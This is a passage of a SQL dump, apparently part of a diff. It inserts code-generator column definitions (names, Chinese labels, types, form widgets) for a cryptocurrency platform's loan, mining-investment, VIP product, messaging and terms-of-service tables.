'2023-07-14 11:19:06'); +INSERT INTO `gen_table_column` VALUES (211, '15', 'odds', '日利率(%)', 'decimal(18,4)', 'BigDecimal', 'odds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 12, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:06'); +INSERT INTO `gen_table_column` VALUES (212, '15', 'repay_org', '还款机构', 'varchar(500)', 'String', 'repayOrg', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 13, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:06'); +INSERT INTO `gen_table_column` VALUES (213, '8', 'audit_status_primary', '初级验证状态', 'int', 'Long', 'auditStatusPrimary', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 17, '', '2023-07-13 18:46:06', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (214, '8', 'audit_status_advanced', '高级验证状态', 'int', 'Long', 'auditStatusAdvanced', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 18, '', '2023-07-13 18:46:06', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (215, '8', 'credits', '信用分', 'int', 'Long', 'credits', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 19, '', '2023-07-13 18:46:06', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (216, '8', 'user_recharge_address', '用户充值地址', 'varchar(255)', 'String', 'userRechargeAddress', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 20, '', '2023-07-13 18:46:06', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (217, '8', 'win_num', '连赢场次', 'int', 'Long', 'winNum', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 21, '', '2023-07-13 18:46:06', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (218, '8', 'lose_num', '连输场次', 'int', 'Long', 'loseNum', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 22, '', '2023-07-13 18:46:06', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (219, '16', 'id', '主键', 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-14 14:39:14', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (220, '16', 'pro_id', '贷款商品表id', 'bigint', 'Long', 'proId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (221, '16', 'user_id', '用户id', 'bigint', 'Long', 'userId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (222, '16', 'create_time', '购买时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 4, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (223, '16', 'amount', '贷款金额', 'decimal(18,6)', 'BigDecimal', 'amount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (224, '16', 'rate', '贷款利率', 'decimal(18,6)', 'BigDecimal', 'rate', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (225, '16', 'interest', '利息', 'decimal(18,2)', 'BigDecimal', 'interest', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (226, '16', 'status', '0 进行中 1-已结清 2-已逾期 3 通过 4拒绝', 'int', 'Long', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 8, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (227, '16', 'final_repay_time', '最后还款日', 'datetime', 'Date', 'finalRepayTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 9, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (228, '16', 'disburse_time', '放款日期', 'datetime', 'Date', 'disburseTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 10, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (229, '16', 'return_time', '还款日期', 'datetime', 'Date', 'returnTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 11, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (230, '16', 'disburse_amount', '审批金额', 'decimal(18,6)', 'BigDecimal', 'disburseAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 12, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (231, '16', 'admin_parent_ids', '后台代理ids', 'varchar(1024)', 'String', 'adminParentIds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 13, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (232, '16', 'card_url', NULL, 'varchar(255)', 'String', 'cardUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 14, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (233, '16', 'card_back_url', NULL, 'varchar(255)', 'String', 'cardBackUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 15, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (234, '16', 'capital_url', NULL, 'varchar(255)', 'String', 'capitalUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 16, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (235, '16', 'license_url', NULL, 'varchar(255)', 'String', 'licenseUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 17, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (236, '16', 'order_no', NULL, 'varchar(50)', 'String', 'orderNo', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 18, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (237, '16', 'cycle_type', NULL, 'int', 'Long', 'cycleType', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 19, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:37'); +INSERT INTO `gen_table_column` VALUES (238, '16', 'remark', '用户备注', 'varchar(1024)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 20, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:37'); +INSERT INTO `gen_table_column` VALUES (239, '16', 'create_by', NULL, 'varchar(64)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 21, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:37'); +INSERT INTO `gen_table_column` VALUES (240, '16', 'update_by', NULL, 'varchar(64)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 22, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:37'); +INSERT INTO `gen_table_column` VALUES (241, '16', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 23, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:37'); +INSERT INTO `gen_table_column` VALUES (242, '16', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 24, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:37'); +INSERT INTO `gen_table_column` VALUES (243, '17', 'id', NULL, 'int', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (244, '17', 'title', '标题', 'varchar(255)', 'String', 'title', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (245, '17', 'icon', '图标', 'varchar(255)', 'String', 'icon', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (246, '17', 'status', '启用禁用(展示在前端)1开0关', 'tinyint', 'Long', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 4, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (247, '17', 'days', '天数(如 7,10,30)', 'varchar(200)', 'String', 'days', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (248, '17', 'default_odds', '违约利率', 'decimal(8,2)', 'BigDecimal', 'defaultOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (249, '17', 'min_odds', '最小日利率百分比', 'decimal(8,2)', 'BigDecimal', 'minOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (250, '17', 'max_odds', '最大日利率百分比', 'decimal(8,2)', 'BigDecimal', 'maxOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 8, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (251, '17', 'time_limit', '每人限购次数,0表示不限', 'int', 'Long', 'timeLimit', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 9, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (252, '17', 'limit_min', '最小金额', 'decimal(20,4)', 'BigDecimal', 'limitMin', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (253, '17', 'limit_max', '最大金额', 'decimal(20,4)', 'BigDecimal', 'limitMax', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 11, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (254, '17', 'is_hot', '是否热销1是0否', 'tinyint', 'Long', 'isHot', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 12, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (255, '17', 'sort', '排序', 'int', 'Long', 'sort', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 13, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (256, '17', 'create_by', '创建人', 'varchar(255)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 14, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (257, '17', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 15, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (258, '17', 'update_by', '更新人员', 'varchar(255)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 16, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (259, '17', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 17, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (260, '17', 'buy_purchase', ' 购买次数', 'int', 'Long', 'buyPurchase', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 18, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (261, '17', 'avg_rate', '日平均利率', 'decimal(8,2)', 'BigDecimal', 'avgRate', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 19, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (262, '17', 'coin', '币种 ', 'varchar(20)', 'String', 'coin', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 20, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (263, '17', 'classify', '分类(0 普通 1 vip 2 增值)', 'varchar(2)', 'String', 'classify', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 21, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (264, '17', 'basic_invest_amount', '平台基础投资金额', 'decimal(26,4)', 'BigDecimal', 'basicInvestAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 22, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (265, '17', 'total_invest_amount', '平台总投资额', 'decimal(26,4)', 'BigDecimal', 'totalInvestAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 23, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (266, '17', 'level', 'VIP等级 ', 'int', 'Long', 'level', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 24, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (267, '17', 'process', '项目进度', 'decimal(8,2)', 'BigDecimal', 'process', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 25, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (268, '17', 'remain_amount', '剩余金额', 'decimal(26,4)', 'BigDecimal', 'remainAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 26, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (269, '17', 'remark', '标签', 'varchar(1000)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 27, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (270, '17', 'purchased_amount', '易购金额', 'decimal(26,4)', 'BigDecimal', 'purchasedAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 28, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (271, '17', 'problem', '常见问题', 'mediumtext', 'String', 'problem', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 29, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (272, '17', 'prodect_introduction', '产品介绍', 'mediumtext', 'String', 'prodectIntroduction', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 30, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (273, '18', 'id', NULL, 'int', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (274, '18', 'adress', '地址', 'varchar(100)', 'String', 'adress', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (275, '18', 'amount', '投资金额(分)', 'decimal(20,4)', 'BigDecimal', 'amount', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (276, '18', 'days', '投资期限(天)', 'int', 'Long', 'days', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 4, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (277, '18', 'status', '0 收益 1 结算', 'tinyint', 'Long', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 5, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (278, '18', 'plan_id', '项目id', 'bigint', 'Long', 'planId', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (279, '18', 'plan_title', '项目名称', 'varchar(30)', 'String', 'planTitle', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (280, '18', 'order_no', '订单编号', 'varchar(30)', 'String', 'orderNo', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 8, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (281, '18', 'create_time', '投资时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 9, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (282, '18', 'end_time', '到期时间', 'datetime', 'Date', 'endTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 10, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (283, '18', 'settle_time', '结算时间', 'datetime', 'Date', 'settleTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 11, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (284, '18', 'accumula_earn', '累计收益', 'decimal(20,6)', 'BigDecimal', 'accumulaEarn', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 12, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (285, '18', 'update_time', NULL, 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 13, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (286, '18', 'min_odds', '最小利率', 'decimal(8,2)', 'BigDecimal', 'minOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 14, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (287, '18', 'max_odds', '最大利率', 'decimal(8,2)', 'BigDecimal', 'maxOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 15, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (288, '18', 'default_odds', '违约利率', 'decimal(8,2)', 'BigDecimal', 'defaultOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 16, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (289, '18', 'admin_user_id', '后台用户id', 'bigint', 'Long', 'adminUserId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 17, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (290, '18', 'type', '0 质押挖矿 1 非质押挖矿', 'int', 'Long', 'type', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 18, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (291, '18', 'collection_order', NULL, 'varchar(100)', 'String', 'collectionOrder', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 19, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (292, '18', 'user_id', NULL, 'bigint', 'Long', 'userId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 20, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (293, '18', 'order_amount', NULL, 'decimal(8,2)', 'BigDecimal', 'orderAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 21, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (294, '19', 'amount', '投资金额(分)', 'decimal(20,4)', 'BigDecimal', 'amount', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 1, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (295, '19', 'odds', '当日利率', 'decimal(10,4)', 'BigDecimal', 'odds', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (296, '19', 'earn', '收益', 'decimal(20,6)', 'BigDecimal', 'earn', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (297, '19', 'plan_id', '项目id', 'bigint', 'Long', 'planId', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 4, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (298, '19', 'order_no', '订单编号', 'varchar(30)', 'String', 'orderNo', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (299, '19', 'create_time', '时间', 'varchar(20)', 'String', 'createTime', '0', '0', '1', '1', NULL, NULL, NULL, 'EQ', 'input', '', 6, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (300, '19', 'address', '地址', 'varchar(255)', 'String', 'address', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (301, '19', 'type', '0 质押挖矿 1 非质押挖矿', 'int', 'Long', 'type', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 8, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (302, '19', 'update_time', NULL, 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 9, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (303, '20', 'user_id', '用户id', 'bigint', 'Long', 'userId', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 1, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (304, '20', 'id', '挖矿产品id', 'bigint', 'Long', 'id', '0', '0', '1', '1', NULL, NULL, NULL, 'EQ', 'input', '', 2, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (305, '20', 'time_limit', '限购次数', 'bigint', 'Long', 'timeLimit', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (352, '26', 'id', NULL, 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (353, '26', 'user_id', NULL, 'bigint', 'Long', 'userId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (354, '26', 'title', '标题', 'varchar(255)', 'String', 'title', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (355, '26', 'content', '内容', 'varchar(1000)', 'String', 'content', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'editor', '', 4, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (356, '26', 'type', '消息类型 =普通消息 2=全站消息', 'char(1)', 'String', 'type', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 5, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (357, '26', 'status', '状态(0 未读 1已读)', 'int', 'Long', 'status', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'radio', '', 6, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (358, '26', 'opertor_id', '操作人', 'varchar(20)', 'String', 'opertorId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (359, '26', 'create_time', NULL, 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 8, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (360, '26', 'update_time', NULL, 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 9, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (361, '26', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 10, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (362, '26', 'del_flag', '0正常 2删除', 'char(1)', 'String', 'delFlag', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 11, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (363, '27', 'id', NULL, 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-19 14:13:24', '', '2023-07-19 14:13:33'); +INSERT INTO `gen_table_column` VALUES (364, '27', 'title', '标题', 'varchar(255)', 'String', 'title', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-19 14:13:24', '', '2023-07-19 14:13:33'); +INSERT INTO `gen_table_column` VALUES (365, '27', 'language', '语言 en zh', 'varchar(100)', 'String', 'language', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-19 14:13:24', '', '2023-07-19 14:13:33'); +INSERT INTO `gen_table_column` VALUES (366, '27', 'content', '内容', 'mediumtext', 'String', 'content', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'editor', '', 4, 'admin', '2023-07-19 14:13:24', '', '2023-07-19 14:13:33'); +INSERT INTO `gen_table_column` VALUES (367, '27', 'is_show', '是否展示 0展示 2不展示', 'int', 'Long', 'isShow', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-07-19 14:13:24', '', '2023-07-19 14:13:33'); +INSERT INTO `gen_table_column` VALUES (368, '27', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 6, 'admin', '2023-07-19 14:13:24', '', '2023-07-19 14:13:33'); +INSERT INTO `gen_table_column` VALUES (369, '27', 'type', '0=服务条款 1=秒合约说明 2=币币交易说明 3=代理活动 4=U本位合约说明 5=注册隐私政策 6=注册使用条款 7=贷款规则', 'int', 'Long', 'type', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 7, 'admin', '2023-07-19 14:13:24', '', '2023-07-19 14:13:33'); +INSERT INTO `gen_table_column` VALUES (383, '29', 'id', NULL, 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-19 16:05:16', '', NULL); +INSERT INTO `gen_table_column` VALUES (384, '29', 'title', '标题', 'varchar(255)', 'String', 'title', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-19 16:05:16', '', NULL); +INSERT INTO `gen_table_column` VALUES (385, '29', 'author', '作者', 'varchar(255)', 'String', 'author', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-19 16:05:16', '', NULL); +INSERT INTO `gen_table_column` VALUES (386, '29', 'content', '内容', 'text', 'String', 'content', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'editor', '', 4, 'admin', '2023-07-19 16:05:16', '', NULL); +INSERT INTO `gen_table_column` VALUES (387, '29', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 5, 'admin', '2023-07-19 16:05:16', '', NULL); +INSERT INTO `gen_table_column` VALUES (388, '29', 'img_url', '图片地址', 'varchar(255)', 'String', 'imgUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-19 16:05:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (389, '29', 'sort', '排序', 'int', 'Long', 'sort', '0', '0', '1', '1', '1', '1', 